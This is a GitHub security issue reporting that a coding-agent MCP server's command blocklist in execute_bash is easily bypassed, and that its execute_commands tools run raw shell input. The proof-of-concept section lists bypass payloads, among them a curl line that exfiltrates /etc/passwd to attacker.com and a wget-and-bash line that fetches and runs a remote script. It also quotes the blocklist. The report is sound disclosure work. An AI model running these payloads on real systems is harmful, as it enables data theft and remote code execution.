Skip to content

Security: execute_bash blocklist bypass + execute_commands no-protection enable shell injection (High) #128

@dodge1218

Description

@dodge1218

VULNERABILITY

The MCP tool execute_bash in code_implementation_server.py ships with a 5-entry substring blocklist that is trivially bypassed by case variation, double-spacing, Python indirection, and any unblocked command (curl, wget, nc, etc.). The blocklist creates a false sense of security — its existence implies security intent that the implementation fails to deliver.

A second tool, execute_commands / execute_single_command in command_executor.py, has no blocklist at all. Raw caller-supplied commands pass directly to subprocess.run(command, shell=True).

Vulnerable Code — code_implementation_server.py

# Lines 775-776 — blocklist defined
dangerous_commands = ["rm -rf", "sudo", "chmod 777", "mkfs", "dd if="]
if any(dangerous in command.lower() for dangerous in dangerous_commands):
    # returns error

# Lines 789-793 — unblocked commands execute with shell=True
result = subprocess.run(
    command,
    shell=True,
    cwd=WORKSPACE_DIR,
    capture_output=True,
    timeout=timeout,
    ...
)

Vulnerable Code — command_executor.py

# Lines 281-283 — NO blocklist, raw shell execution
result = subprocess.run(
    command,
    shell=True,
    cwd=working_directory,
    ...
)

PROOF OF CONCEPT — Blocklist Bypass Payloads

[PASSES BLOCKLIST] id
  → arbitrary command execution, no match in blocklist

[PASSES BLOCKLIST] curl http://attacker.com/exfil?data=$(cat /etc/passwd)
  → data exfiltration via out-of-band channel

[PASSES BLOCKLIST] python3 -c "import os; os.system('id')"
  → indirection through Python interpreter

[PASSES BLOCKLIST] RM  -rf /tmp/test
  → double-space + uppercase bypasses "rm -rf" substring match

[PASSES BLOCKLIST] wget http://attacker.com/shell.sh -O /tmp/x && bash /tmp/x
  → multi-stage payload delivery, fully unblocked

All payloads verified against the exact blocklist logic at commit b9ece60. The blocklist catches 0 of the above 5 payloads.

Note: SUDO (all-caps) and Chmod 777 are coincidentally blocked by the .lower() call in the existing check — but this illustrates the inconsistency: some case variants are blocked, others are not, and the protection surface is narrowly defined by 5 static strings.


IMPACT

Any user running DeepCode as an MCP server is exposed to arbitrary OS command execution via the execute_bash or execute_commands tools. The blocklist provides a false sense of safety — users deploying this on a shared host or in a multi-user environment may assume the blocklist prevents abuse.

The dual-file surface is the key issue: even if execute_bash were fixed, command_executor.py's execute_commands / execute_single_command tools operate with no protection at all.

With 15,309 stars and a PyPI package (deepcode-hku@1.2.0), this affects a significant population of AI coding-agent deployments.


SUGGESTED FIX

Option 1 — Honest documentation (remove false security):
Remove the blocklist entirely and document clearly: "These tools execute arbitrary shell commands. Deploy only in an isolated container environment. Do not expose to untrusted input."

Option 2 — Real sandboxing (replace false security with actual protection):
Replace subprocess.run(shell=True) with Docker-isolated execution, a seccomp profile, or a dedicated sandbox runtime. Examples: docker run --rm --network none ..., or bubblewrap for namespace isolation.

Option 3 — Disable shell interpolation:
Use subprocess.run(shlex.split(command), shell=False, ...) to eliminate shell metacharacter interpretation. This does not fully prevent dangerous commands but eliminates injection chaining via &&, ;, |, $().

The false-security pattern is the reportable issue regardless of the "by-design code agent" framing — either make the protection real or remove the implication that protection exists.


REFERENCES

  • code_implementation_server.py blocklist:
    dangerous_commands = ["rm -rf", "sudo", "chmod 777", "mkfs", "dd if="]
    if any(dangerous in command.lower() for dangerous in dangerous_commands):
    result = {
    "status": "error",
    "message": f"Dangerous command execution prohibited: {command}",
    }
    log_operation(
    "execute_bash_blocked",
    {"command": command, "reason": "dangerous_command"},
    )
    return json.dumps(result, ensure_ascii=False, indent=2)
    # Ensure workspace directory exists
    ensure_workspace_exists()
    # Execute command
    result = subprocess.run(
    command,
    shell=True,
  • command_executor.py no-protection path:
    result = subprocess.run(
    command,
    shell=True,
  • PyPI package: https://pypi.org/project/deepcode-hku/

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions